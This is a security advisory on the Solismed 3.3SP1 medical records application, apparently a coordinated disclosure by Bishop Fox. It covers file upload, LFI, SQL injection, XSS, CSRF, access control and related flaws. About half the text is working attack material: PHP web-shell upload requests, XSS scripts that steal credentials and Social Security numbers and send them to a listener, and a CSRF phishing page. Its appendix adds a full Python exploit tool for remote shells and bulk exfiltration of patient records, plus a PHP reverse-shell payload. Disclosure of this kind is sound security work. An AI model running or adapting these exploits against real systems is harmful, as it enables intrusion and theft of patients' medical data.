Nine vulnerabilities were identified within the Solismed application.
The following document describes identified vulnerabilities in the Solismed application version 3.3SP1.
Product Vendor | Product Name | Affected Version* |
| Solismed | Version 3.3SP1 |
*Earlier versions are untested at the time of writing, but presumed to be vulnerable.
Product Description
Solismed is an electronic medical records (EMR) application that is used by medical professionals to maintain medical records of patients and manage patient visits. The project's official website is https://www.solismed.com. The latest version of the application is 3.5, released on December 02, 2019.
Vulnerabilities List
- Insecure File Upload
- Local File Inclusion (LFI)
- Cross-site Scripting (XSS)
- Cross-site Request Forgery (CSRF)
- Incorrect Access Controls
- Directory Traversal
- Insecure Cryptographic Storage
- User Interface Redress - Clickjacking
Impact
The vulnerabilities discovered result in complete compromise of the Solismed application server and the data contained within the application. Solismed contains highly sensitive data such as medical records, Social Security numbers, and various forms of Personal Identifying Information (PII). The vulnerabilities can be exploited from the context of an unauthenticated attacker with no direct access to the application.
Solution
- Update to version 3.5.
- Implement strong network firewall rules, disallowing incoming and outgoing connections outside of the local area network.
Timeline
- 09/04/2019: Initial discovery
- 09/06/2019: Contact with vendor
- 09/09/2019: Vendor acknowledged vulnerabilities
- 10/22/2019: Version 3.4sp1 retested. Incorrect Access Controls partially remediated, other issues remain.
- 10/24/2019: Contact with vendor
- 10/24/2019: Vendor acknowledged vulnerabilities
- 11/20/2019: Version 3.4sp4 retested. Insecure File Upload remediated, other issues remain.
- 11/21/2019: Contact with vendor
- 11/22/2019: Vendor acknowledged vulnerabilities
- 12/02/2019: Vendor released patched version 3.5 and stated issues have been resolved. Bishop Fox did not independently verify the vulnerabilities have been addressed.
- 12/09/2019 : Vulnerabilities publicly disclosed
Credits
- Chris Davis, Senior Security Analyst, Bishop Fox ([email protected])
VULNERABILITIES
Insecure File Upload
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15936 | Critical | Code execution | Remote |
The Solismed application was affected by one instance of insecure file upload that allowed unauthenticated users to upload arbitrary files, including PHP files, that were stored within the application's web root. The insecure file upload resulted in remote code execution (RCE) from the context of an external unauthenticated attacker.
The /gui/file_upload.php
endpoint did not require authentication or authorization and was used by the Solismed application to handle file uploads. This file upload handler relied on client-side controls to restrict dangerous file types from being uploaded to the application server. To bypass the client-side controls, a direct POST
request containing a PHP web shell was sent, as shown below:
POST /gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=4&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------2097450045574358816674343
Content-Disposition: form-data; name="name"
rce.php
-----------------------------2097450045574358816674343
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/png
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
-----------------------------2097450045574358816674343--
FIGURE 1 - PHP file upload
The application processed the request, responded with a 200
OK message, and returned the filename assigned by the application, as shown below:
HTTP/1.1 200 OK
…omitted for brevity…
{"jsonrpc":"2.0","result":null,"id":"id","realfileName":"rce.php","fileName":"1-4--0-aabee-rce.php","file_content":"iVBORw0KGgo8P3BocA0KICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpDQogICAgew0KICAgICAgICBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsNCiAgICB9DQo\/Pg0KCYI="}
FIGURE 2 - Application response
Navigating to the /webroot/userhome/preferences
endpoint with the fileName parameter value returned in the response revealed the PHP web shell uploaded successfully and accepted operating system commands on the application server, as shown below:
FIGURE 3 - PHP web shell showing contents of /etc/passwd
The PHP web shell ran in the context of the application server's www-data user. To automate the exploitation of this issue, a python script was created that allowed the team to upload an interactive web shell in a single command, as shown below:
FIGURE 4 - Automated file upload exploitation
The web shell granted the ability to exfiltrate sensitive data, such as patients' medical records, and would grant an attacker a foothold on the internal network. The testing and exploit code can be found in Appendix A following this advisory.
Local File Inclusion (LFI)
The Solismed application was affected by one instance of LFI resulting in unauthenticated remote code execution and disclosure of arbitrary files from the underlying server.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-16246 | Critical | Code execution | Remote |
The /gui/file_viewer.php
endpoint was vulnerable to LFI. Appending file paths to the uloaded_filename parameter processed the targeted file by including its contents in a temporary directory within the application's web root to be displayed by Google Docs. The LFI request is shown below:
GET /gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.7
FIGURE 5 - Path to /etc/passwd
The GET
request returned a 302
redirect message and attempted to display the local file in a Google Docs file viewer. For the local file to be processed in this manner, localhost could not be used as a target URL in the initial LFI request, as it would not be processed by the Google Doc functionality. The 302
from the Google Doc functionality is shown below:
HTTP/1.1 302 Found
…omitted for brevity…
Location: https://docs.google.com/viewer?url=http%3A%2F%2F192.168.1.7%2Fwebroot%2Ftemp%2F2aab195e7894861ae10b3015391c45f6.&embedded=true
Content-Length: 0
FIGURE 6 - Location header containing vulnerable endpoint
The redirect contained a url parameter that was the processed file's location. By navigating to the URL in the url parameter of the location header, the contents of /etc/passwd were returned, as shown below:
FIGURE 7 - Contents of /etc/passwd
Additionally, the LFI included local PHP files resulting in code execution. To automate exloitation, a script was created that chained the LFI with the insecure file upload, resulting in unauthenticated remote code execution, as shown below:
FIGURE 8 - LFI code execution
An attacker could leverage this vulnerability to compromise the underlying server and/or exfiltrate sensitive data.
SQL Injection
The Solismed application was affected by four instances of SQL injection that resulted in unauthenticated exposure of the data contained within the application MySQL database, including medical records, Social Security numbers, application user data, and PII.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15933 | High | Information disclosure | Remote |
The /schedule/loaders/check_datetime.php
endpoint was vulnerable to SQL injection. This endpoint required no authentication or authorization. To determine that the endpoint was vulnerable to SQL injection, a request was sent containing a sleep command in the date parameter, as shown below:
POST /schedule/loaders/check_datetime.php HTTP/1.1
Host: localhost
…omitted for brevity…
calendar_id=&date=09%2f03%2f2019'%2b(select*from(select(sleep(10)))a)%2b'&patient_id=21&provider_id=0&form_location_id=1&day=2&start_time=990&end_time=1024
FIGURE 9 - SQL sleep command sent to server
The application delayed ten seconds, indicating a SQL injection vulnerability. To further exploit this issue, the automated SQL injection tool sqlmap was used with the command sqlmap -l sql-check.txt --dbms=mysql --thread=4 -p date - dump
, where /sql-check.txt
is the vulnerable POST
request. The result of this command was the exfiltration of the entire Solismed application database. A sample of the exfiltrated tables is shown below:
FIGURE 10 - Sample of tables exfiltrated from SQL injection
The database contained sensitive PII and medical records as well as application user data. Some of the more sensitive data was encrypted with AES, as shown below:
FIGURE 11 - Encrypted data in demographics table
However, an attacker could decrypt all of the encrypted data using methods described in the Insecure Cryptographic Storage finding in this advisory. Additionally, the SQL injection could be used to retrieve files from the underlying filesystem and, in some instances, could lead to remote code execution if the database user had write permissions in the web root.
Additional Affected Locations
/finance/sales/load_details.php
- Parameter:
payment_id
- Parameter:
/index.php?loginaction=login
- Referer header – Note: requires valid credentials to be sent in login
/schedule/loaders/*
- Multiple parameters
Cross-site Scripting (XSS)
The Solismed application was affected by systemic cross-site scripting (XSS), including both stored and reflected XSS. The stored XSS could be exploited by any authenticated user, including the low-privilege patient application users, and affected staff users including administrators. The reflected XSS could be exploited by unauthenticated users and affect any Solismed user that could be lured into clicking a link. The XSS was exploited to obtain sensitive personal information, such as Social Security numbers, as well as to obtain valid login credentials to the application. Additionally, the XSS was chained with the CSRF and Insecure File Upload findings of this advisory to achieve remote code execution and compromise the underlying server.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15935 | High | Escalation of privileges & Information disclosure | Remote |
To demonstrate how an attacker may exploit these issues, as well as the impact of the finding, a stored XSS was exploited from the context of a low-privileged patient user. This XSS affected staff users, including administrators, and exfiltrated sensitive patient information such as cleartext Social Security numbers. The reflected XSS was exploited from the context of an unauthenticated user and affected any user who could be enticed to click a link. When the link was clicked, cleartext credentials of the victim user were sent to the attacker's server.
Stored XSS
To exploit the stored XSS, an attacker would authenticate as a low-privilege patient user to update the patient address (though all fields were vulnerable) to contain an arbitrary XSS payload, as shown below:
POST /index_body.php?module=patient_portal&tab=account_settings&mount= HTTP/1.1
Host: localhost
…omitted for brevity…
Content-Disposition: form-data; name="address1"
<script>jQuery.getScript("http://localhost:9090/e.js")</script>
-----------------------------65865042617418668151654240944
…omitted for brevity…
FIGURE 12 - XSS payload within the address1 parameter
This arbitrary JavaScript executed whenever a staff or administrative user navigated to the affected patients' file at the index_page.php
endpoint. Once a staff member navigated to the affected endpoint, the XSS triggered and loaded e.js
(a JavaScript payload) from the attacker server. The e.js
payload retrieved all patients’ existing PII data, including cleartext Social Security numbers, and sent them to the attacker server, as shown below:
FIGURE 13 - Sensitive PII data returned to attacker server
Since this instance of XSS was stored, the attacker could persistently obtain sensitive medical and PII data.
Reflected XSS
To demonstrate the reflected XSS, the /contacts/patients/loaders/upload_webcam_file.php
endpoint was exploited. A malicious link was crafted that contained arbitrary JavaScript in the patient_id
parameter, as shown below:
http://localhost/contacts/patients/loaders/upload_webcam_file.php?patient_id=0%3cscript%3eeval(String.fromCharCode(102,…omitted for brevity…59))%3c%2fscript%3e
FIGURE 14 - XSS link
The payload was encoded to avoid issues with the application’s handling of special characters. The full decoded payload is shown below:
// XSS payload for Solismed v3.3sp1
// Obtains logged in user credentials
fetch('/index_body.php?module=preferences&tab=account&mount=user_settings', {
credentials: 'include'
}).then(function (response) {
return response.text().then(function (html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
let passwd = doc.getElementById("password").value;
let uname = doc.getElementById("username").value;
let creds = `UsernameFound: ${uname} PasswordFound: ${passwd}`
return creds
});
}).then(function (creds) {
fetch('http://localhost:1337', {
method: 'POST',
body: creds
})
});
FIGURE 15 - XSS payload to receive credentials
If an authenticated application user was lured into clicking the affected link, the payload executed, pulled cleartext credentials from the victim user's profile page, and sent them to the attacker server, as shown below:
nc -lvvp 1337
…omitted for brevity…
UsernameFound: admin PasswordFound: sysadmin
FIGURE 16 - Cleartext credentials received at attacker server
The attacker could now authenticate to the application as the victim user. Because cross-site scripting was systemic within the Solismed application, it is not practical to list all affected locations.
Cross-Site Request Forgery (CSRF)
The Solismed application was affected by systemic CSRF that could be exploited from the context of an external unauthenticated user to create back-doored users, change passwords of users without knowledge of the original, or make any state-changing request on behalf of authenticated users. In this instance, the CSRF was exploited to demonstrate how an unauthenticated external attacker with no direct access to the application (i.e., the application was hosted on an internal network, not publicly facing) could gain remote code execution (RCE) through a chain of vulnerabilities (CSRF => XSS => Incorrect Access Controls => Insecure File Upload).
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15934 | High | Escalation of privileges | Remote |
An externally hosted phishing page was created so that when visited by an authenticated staff user on the Solismed application, the page forced the user to send a POST
request to the Solismed application on behalf of the authenticated user. The HTML/JavaScript that sent the POST
request is shown below:
<html>
<body>
<script>
var payload = '<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>'
var formData = new FormData();
formData.append('task', 'save');
formData.append('first_name', payload);
fetch('http://localhost/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance=', {
credentials: 'include',
method: 'POST',
body: formData
});
</script>
</body>
</html>
FIGURE 17 - CSRF phishing page code
This CSRF payload was designed to chain with the Stored XSS finding described in this advisory. Once an authenticated staff member visited the phishing page, an arbitrary request was sent on their behalf that added a new patient with the patient's name containing an XSS payload, as shown below:
POST
/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance= HTTP/1.1
Host: localhost
…omitted for brevity…
origin: null
…omitted for brevity…
Content-Disposition: form-data; name="first_name"
<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>
-----------------------------6992918915940625501117424983—
FIGURE 18 - CSRF request to create new patient
The affected patient name was stored in the index_page.php
on the contacts – patients endpoint. Once any authenticated staff member viewed the affected patients functionality, the stored XSS executed and loaded xss-shell.js
from the attacker server. The xss-shell.js
was a JavaScript payload that chained the incorrect access controls with the insecure file upload vulnerabilities described in this advisory, which resulted in a PHP reverse shell returned to the attacker, as shown below:
nc -lvvp 31337
listening on [any] 31337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 53014
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FIGURE 19 - CSRF request to create new patient
The PHP reverse shell allowed for operating system commands to be run on the application’s underlying server. The code for xss-shell.js
is contained in Appendix A of this advisory.
Incorrect Access Controls
The Solismed application was affected by systemic incorrect access controls that resulted in the unintended exposure of application functionality and data. The incorrect access controls resulted in the ability to exploit the insecure file upload and SQL injection findings of this advisory from the context of an unauthenticated attacker. The incorrect access controls allowed a low-privilege user to escalate permissions to the role of a system administrator. In addition to these issues, the application exposed sensitive data such as patient lists with corresponding contact information, application users, and medical records.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15932 | High | Information disclosure & Escalation of privileges | Remote |
As the Insecure File Upload and the SQL injection findings have already detailed the dangerous functionality exposed to unauthenticated attackers, the details of this finding will focus on the exposure of sensitive data to unauthenticated attackers and a privilege escalation vulnerability.
Unauthenticated Data Exposure
The Solismed application endpoints systemically did not enforce authentication or authorization aside from the index*.php
endpoints. These endpoints contained publicly exposed sensitive data, such as patient information, health care records, application user information, a verbose error log, and SQL database information. Navigating to the /contacts/patients/grids/all_patients.php
endpoint revealed all existing patients, names, dates of birth, phone numbers, and application-specific medical record numbers, as shown below:
FIGURE 20 - Sensitive data retrieved from all_patients.php
endpoint
To demonstrate the amount of data exposed and to automate testing, a Python script was created to retrieve the various exposed endpoints and write them into local files on the attacker server, as shown below:
FIGURE 21 - Automated data exfiltration
Privilege Escalation
The functionality to alter application roles did not properly enforce authentication. By sending a direct request to the role
update endpoint, the application allowed any application user to escalate from any role to application system administrator. Sending the following request with the form_user_id
set to the ID of the targeted user and the form_user_role
set to 1 (the default value for the administrative role) resulted in vertical privilege escalation, as shown below:
POST /index_body.php?module=operations&tab=user_access&mount=user_accounts&tab_id=operations_edit_acc_19 HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="task"
update
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="form_user_id"
4
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="first_name"
grace
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="last_name"
bohr
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="title"
-----------------------------193214051513343730471771646897
Content-Disposition: form-data; name="form_user_role"
1
-----------------------------193214051513343730471771646897
…omitted for brevity…
FIGURE 22 - Request made to escalate privilege
The user could then refresh or re-authenticate with newly assigned administrative permissions, as shown below:
FIGURE 23 - Newly assigned system admin role
To perform the privilege escalation, the attacker can authenticate as any user to the Solismed application.
Directory Traversal
The Solismed application was affected by two instances of directory traversal resulting in file uploads being written to arbitrary locations within the application’s web root. This could be used in conjunction with the insecure file upload vulnerability to achieve remote code execution in instances where the legitimate upload endpoint was unknown or restricted.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15931 | Medium | Arbitrary file write to application web root | Remote |
In the file upload detailed in the Insecure File Upload finding of this advisory, the target_folder
parameter in the /gui/file_upload.php
endpoint was vulnerable to directory traversal. By modifying the parameter to arbitrary locations within the web root, an attacker could control where the file was uploaded, as shown below:
POST /gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=400&patient_id=&encounter_id=0&encrypt=N&target_folder=../../webroot HTTP/1.1
Host: 192.168.1.7
…omitted for brevity…
-----------------------------42781671320636923501375223656
Content-Disposition: form-data; name="name"
h.php
-----------------------------42781671320636923501375223656
Content-Disposition: form-data; name="file"; filename="health.jpeg"
Content-Type: image/jpeg
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
-----------------------------42781671320636923501375223656--
FIGURE 24 - Directory traversal in file upload
The directory traversal successfully uploaded the PHP web shell into the /webroot directory, resulting in remote code execution, as shown below:
FIGURE 25 - Web shell in arbitrary file location
The directory traversal further increases the exploitability of the insecure file upload, lowering the bar for the application architecture knowledge required to exploit this vulnerability.
Additional Location
/index_body.php
- Multiple parameters wherever filenames are present
Insecure Cryptographic Storage
The Solismed application improperly implemented AES encryption to protect stored data within the application SQL database. An attacker could decrypt all of the encrypted data within the SQL database.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-17428 | Medium | Information disclosure & Arbitrary actions forced on behalf of user | Local |
Once an attacker exfiltrated the data in the SQL database through the various exploits detailed in this advisory, the AES-encrypted data could be decrypted. The path of least resistance to decrypt all of the SQL data was through misuse of application functionality. As detailed in the XSS finding of this advisory, the data, such as usernames and passwords, rendered in cleartext within the application’s UI. This demonstrated that the application was decrypting the SQL data for display in the UI. Therefore, to decrypt the encrypted SQL data, an attacker could download the publicly available Solismed application and insert the encrypted contents into fields that would be displayed by the UI, as shown below:
FIGURE 26 - Decryption on AES SQL data
This was verified across different installations of Solismed, indicating that the AES decryption key was hard-coded into the application source code across all installations. The AES key was not retrieved during the course of the testing due to the source code's IonCube protection and the time-boxed nature of this test.
User Interface Redress (Clickjacking)
The Solismed application lacked application framing protections, resulting in a user interface redress (UI Redress) vulnerability that allowed the application to be framed within a phishing page that an attacker could use to hijack user clicks and execute arbitrary actions on their behalf. To demonstrate impact, clickjacking was added to the attack chain described in the CSRF finding of this advisory (CSRF => XSS => UI Redress => Incorrect Access Controls => Insecure File Upload). Through the UI redress vulnerability, an attacker could force the execution of the XSS vulnerability, resulting in code execution on the underlying server through the chain of vulnerabilities described.
CVE ID | Security Risk | Impact | Access Vector |
CVE-2019-15930 | Low | Arbitrary actions forced on behalf of the user | Remote |
Framing the Solismed application in a phishing page that included the CSRF payload allowed for an attack chain of CSRF => XSS => Clickjacking => Incorrect Access Controls => Insecure File Upload => RCE to be executed from the context of an external unauthenticated attacker. The phishing page is shown below:
FIGURE 27 - UI redress phishing page
When an authenticated user navigated to the phishing page, the CSRF would trigger, exploiting the XSS as described in the CSRF finding of this advisory. The Solismed application would then be framed within the phishing page. If the victim user's start page was patient contacts (as was the case with some of the preconfigured test accounts within the software download), no click was required and the XSS triggered, resulting in RCE. In instances where the victim user's start page was not the patient contacts endpoint, one click was required to load the XSS-affected endpoint. The code used in the phishing page can be found in Appendix A below.
Appendix A — Exploit Code
Insecure File Upload, LFI, and Incorrect Access Controls – Python Script
The following code (solisploit.py) was used in the Insecure File Upload, LFI, and Incorrect Access Controls findings included in this advisory:
#! /usr/bin/env python3
# Solismed v3.3sp1 Security Testing Tool
# Author: Malaphar @ Bish0pf0x
#
# This script was designed for a linux host and target
# However it is easily modified for Windows based targets
import requests
import sys
import argparse
import os
import cmd
from urllib.parse import urlparse, parse_qs, urlsplit
class bcolors:
RED = "\033[0;31m"
ORN = '\033[93m'
BLUE = "\033[0;34m"
GREEN = '\033[32m'
PURPLE = "\033[35m"
ENDC = '\033[m'
START = bcolors.PURPLE + "[*] " + bcolors.ENDC
SHELL = {'file': (
'rce.php', '<?php if (!empty($_POST[\'cmd\'])) {$cmd = shell_exec($_POST[\'cmd\']);echo $cmd;}?>')}
WARN = bcolors.BLUE + "[$] " + bcolors.ENDC
ENUM_DIR = "Solismed-Exfil"
#### FUNCTIONS FOR RCE ####
def upload_shell(): # Exploits Insecure File Upload
print(START + "Uploading Web Shell...")
resp = requests.post(
args.url + '/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=31337&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences', files=SHELL)
print(START + "Retrieving Shell Filename...")
file_name = resp.json()['fileName']
print(WARN + "Filename Found! " + bcolors.RED + "%s" %
file_name + bcolors.ENDC)
return file_name
def code_exec(vuln_path): # Web Shell Handler
headers = {'Content-type': 'application/x-www-form-urlencoded'}
r = requests.post(vuln_path, headers=headers, data="cmd=whoami")
whoami = r.text.strip()
r2 = requests.post(vuln_path, headers=headers, data="cmd=hostname")
hostname = r2.text.strip()
class webShell(cmd.Cmd):
intro = 'Welcome to the web shell.\nUploaded shell is at ' + vuln_path + '\nType help or ? to list commands.\n'
prompt = whoami + '@' + hostname + '$'
file = None
def default(self, arg):
'Executes system command\nExample: cmd whoami'
data = "cmd=%s" % arg
r = requests.post(vuln_path, headers=headers, data=data)
print(r.text)
def do_clear(self, arg):
'Clears the terminal'
os.system('clear')
def do_exit(self, arg):
'Cleans web shell from server and exits'
clean_up(vuln_path)
print(START + "Have a Nice Day!")
sys.exit()
try:
webShell().cmdloop()
except Exception as e:
print(e)
#### Exploits LFI for RCE or File enumeration ####
def set_lfi(set_lfi_file): # If LFI option get file function
try:
print(START + "Setting LFI...")
resp = requests.post(args.url + "/gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../%s" %
set_lfi_file, allow_redirects=False)
location_header = resp.headers["Location"]
print(START + "Obtaining Affected Endpoint From Location Header...")
o = urlparse(location_header)
query = parse_qs(o.query)
URI = o._replace(query=None).geturl()
if "url" in query:
lfi_file_location = query["url"][0]
print(WARN + "Affected Endpoint Found! %s" % lfi_file_location)
else:
print("Failed to obtain location header...\n" + resp.text)
return lfi_file_location
except Exception:
print("Error Something Went Wrong Setting The LFI...")
def clean_up(vuln_path): # Clean exit of Web Shell
headers = {'Content-type': 'application/x-www-form-urlencoded'}
sf = urlsplit(vuln_path)
shell_file = "/var/www/html" + sf.path
rm_shell = requests.post(vuln_path, headers=headers, data="cmd=rm " + shell_file)
if rm_shell.status_code == 200:
print(START + "Cleaned Uploaded File From Server...")
else:
print(WARN + "Unable to Clean Uploaded File From Server!" +
bcolors.RED + "%s" % shell_file)
# FUNCTIONS TO GET EXPOSED DATA
def get_exposed_data(grid_endpoints, grid_path):
for grid_endpoint in grid_endpoints:
print(START + "Attempting to Retrieve %s Data..." % grid_endpoint)
resp = requests.get(
args.url + grid_path + "%s.php" % grid_endpoint)
if resp.status_code == 200:
print(WARN + "%s Data Found!" % grid_endpoint)
fname = "%s.xml" % grid_endpoint
content = resp.text
print(START + "Writing Results to File: " +
bcolors.RED + "%s" % fname + bcolors.ENDC)
file_write(fname, content)
else:
print(WARN + "Something Went Wrong: " + str(resp.status_code))
def get_more_data():
resp = requests.get(args.url + "/config/system.sql")
if resp.status_code == 200:
sql_content = resp.text
sql_fname = "system.sql"
file_write(sql_fname,sql_content)
print(WARN + "%s Data Found MAY CONTAIN SYS ADMIN CREDS (AES) See advisory for decryption" % sql_fname)
else:
print(WARN + "System SQL Data Not Found :(")
resp2 = requests.get(args.url + "/webroot/errorlog/log.php")
if resp2.status_code == 200:
error_log_content = resp.text
log_fname = "errorlog.txt"
file_write(log_fname,error_log_content)
print(WARN + "%s Error Log Found May Contain Sensitive Information" % log_fname)
else:
print(WARN + "System SQL Data Not Found :(")
def make_dir():
try:
current_path = os.getcwd()
check_dir = os.path.exists(current_path + "/" + ENUM_DIR)
if check_dir == False:
os.mkdir(ENUM_DIR)
else:
overwrite = input(WARN + "%s Exists. Would You Like to Overwrite The Enumeration Files?\n" %
ENUM_DIR + "Yes " + "or " + "No ")
low_ovw = overwrite.lower()
if low_ovw == "yes" or low_ovw == "y":
print(START + "Overwriting Previous Enumeration...")
elif low_ovw == "no" or low_ovw == "n":
sys.exit()
else:
print(WARN + "Error Please Type yes or no")
make_dir()
except Exception as e:
print(e)
def file_write(fname, content):
f = open(ENUM_DIR + "/" + fname, "w")
f.write(content)
f.close()
def main():
if args.check:
try:
resp = requests.get(args.url + "/webroot/version.txt")
if resp.status_code == 200:
version = resp.text
if version == "3.3 SP1":
print(WARN + "Vulnerable Version Found! %s" % version)
else:
print(WARN + "The Target May Not Be Vulnerable... %s" % version)
else:
print(WARN + "Unable to Get Version :( ")
except Exception as e:
print(e)
else:
pass
if args.exfil:
make_dir()
print(START + "Attempting to Obtain Exposed Data...")
access_endpoints = ["user_accounts", "user_groups", "user_roles"]
access_path = "/operations/access/grids/"
get_exposed_data(access_endpoints, access_path)
util_endpoints = ["access_history", "data_backup","emergency_access", "eprescribing_transactions"]
util_path = "/utilities/audit_logs/grids/"
get_exposed_data(util_endpoints, util_path)
contact_endpoints = ['advance_directives', 'all_documents', 'all_encounters', 'allergies', 'all_lab_results', 'all_orders', 'all_patients', 'all_radiology_results', 'appointments', 'assessment', 'calls', 'chief_complaints', 'claims', 'clinical_alerts', 'disclosure_of_records', 'documents', 'family_history', 'faxes',
'guarantors', 'health_maintenance', 'immunizations', 'insurance_information', 'lab_orders', 'letters', 'medical_history', 'medication_list', 'narration_instruction', 'notes', 'past_visits', 'payments', 'prescriptions', 'problem_list', 'procedures', 'radiology_orders', 'referrals', 'supplies', 'surgical_history']
contacts_path = "/contacts/patients/grids/"
get_exposed_data(contact_endpoints, contacts_path)
dashboard_endpoints = ['new_radiology_results', 'patient_portal_access', 'new_calls', 'open_documents', 'rx_refill_requests', 'new_lab_results', 'open_encounters', 'todays_visits', 'new_messages', 'open_orders', 'unpaid_invoices']
dashboard_path = "/dashboard/summary/grids/"
get_exposed_data(dashboard_endpoints, dashboard_path)
sales_endpoints = ['billed', 'billing_payments', 'billing_adjustments', 'billing_transactions', 'billing_listings', 'bill_summaries']
sales_path = "/finance/sales/grids/"
get_exposed_data(sales_endpoints, sales_path)
purchases_endpoints = ['adjustments', 'listings', 'payments']
purchases_path = "/finance/purchases/grids/"
get_exposed_data(purchases_endpoints, purchases_path)
get_more_data()
else:
pass
if args.lfi:
if args.url == "http://localhost" or args.url == "http://127.0.0.1":
print(
WARN + "Due to Application Logic Localhost Will Not Work Use Internal IP Instead...")
else:
set_lfi_file = args.lfi
lfi_file = set_lfi(set_lfi_file)
resp = requests.get(lfi_file)
if(len(resp.text) == 0):
print(WARN + "File " + bcolors.RED + "%s " % args.lfi +
bcolors.ENDC + "Not Found or User Lacks Permissions...")
else:
print(resp.text)
else:
pass
if args.rce:
print(START + "Exploiting Insecure File Upload...")
file_name = upload_shell()
vuln_path = args.url + "/webroot/userhome/preferences/" + file_name
code_exec(vuln_path)
elif args.rce_lfi:
print(START + "Exploiting Local File Inclusion...")
file_name = upload_shell()
path_to_lfi = "/var/www/html/webroot/userhome/preferences/" + file_name
vuln_path = set_lfi(path_to_lfi)
uploaded_file = args.url + "/webroot/userhome/preferences/" + file_name
clean_up(uploaded_file)
code_exec(vuln_path)
else:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Tests and exploits vulnerablities in Solismed 3.3SP1',
epilog='Example usage: ./solissploit.py -u http://example.com -r ')
parser.add_argument('-u', '--url', dest='url', required=True,
type=str, help='URL of the target endpoint')
parser.add_argument('--check', action='store_true', dest='check',
help='Attempts to get Solismed application version')
parser.add_argument('--rce-upload', action='store_true', dest='rce',
help='Exploits an insecure file upload to open interactive web shell')
parser.add_argument('--rce-lfi', action='store_true', dest='rce_lfi',
help='Exploits file upload and executes with LFI to open interactive web shell')
parser.add_argument('-l', '--lfi', type=str, dest='lfi',
help='Exploits LFI to retrieve files from local file system. Example usage: ./solisploit.py -u http://example.com -l /etc/passwd')
parser.add_argument('-e', '--exfil', action='store_true', dest='exfil',
help='Pulls sensative patient organzation and application user information from exposed endpoints')
args = parser.parse_args()
main()
XSS – Payload to Obtain User PII Data
The following code (e.js) was used in the Stored XSS finding included in this advisory:
// XSS Payload for Solismed 3.3sp1
// Obtains PII of patients
var i = 0;
var exfil = [];
var getPII = function () {
fetch('/index_body.php?module=contacts&tab=Charts&mount=demographics&task=edit&patient_id=' + i, {
credentials: 'include'
}).then(function (response) {
return response.text().then(function (html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
let ssn = doc.getElementById("ssn").value;
let fname = doc.getElementById("first_name").value;
let lname = doc.getElementById("last_name").value;
let dob = doc.getElementById("DOB").value;
let address = doc.getElementById("address1").value;
let city = doc.getElementById("city").value;
let state = doc.getElementById("state").value;
let zipcode = doc.getElementById("zipcode").value;
let pii = `Firstname=${fname} LastName=${lname} DOB=${dob} SSN=${ssn} Address=${address} ${city} ${state} ${zipcode}`
exfil.push(pii)
// This checks the first 20 patients
if (i > 20) {
exfilPII();
}
else {
i++;
getPII();
}
})
});
}
// Exflitrates PII to remote server
async function exfilPII() {
fetch('http://localhost:1337', {
method: 'POST',
body: exfil
})
}
getPII();
CSRF – XSS Payload for Remote Code Execution
The following code (xss-shell.js) was used in the CSRF finding included in this advisory:
//XSS to reverse PHP SHELL payload
// Shell code generated with msfvenom
const shellCode = ` \/*<?php /**/
@error_reporting(0);
@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='127.0.0.1';
$port=31337;
if(!function_exists('RdxQvmVXDdP')){
function RdxQvmVXDdP($c){
global $dis;
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\n";
}
$xGRjG='is_callable';
$nqZc='in_array';
if($xGRjG('proc_open')and!$nqZc('proc_open',$dis)){
$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
$o=NULL;
while(!feof($pipes[1])){
$o.=fread($pipes[1],1024);
}
@proc_close($handle);
}else
if($xGRjG('exec')and!$nqZc('exec',$dis)){
$o=array();
exec($c,$o);
$o=join(chr(10),$o).chr(10);
}else
if($xGRjG('popen')and!$nqZc('popen',$dis)){
$fp=popen($c,'r');
$o=NULL;
if(is_resource($fp)){
while(!feof($fp)){
$o.=fread($fp,1024);
}
}
@pclose($fp);
}else
if($xGRjG('system')and!$nqZc('system',$dis)){
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
}else
if($xGRjG('shell_exec')and!$nqZc('shell_exec',$dis)){
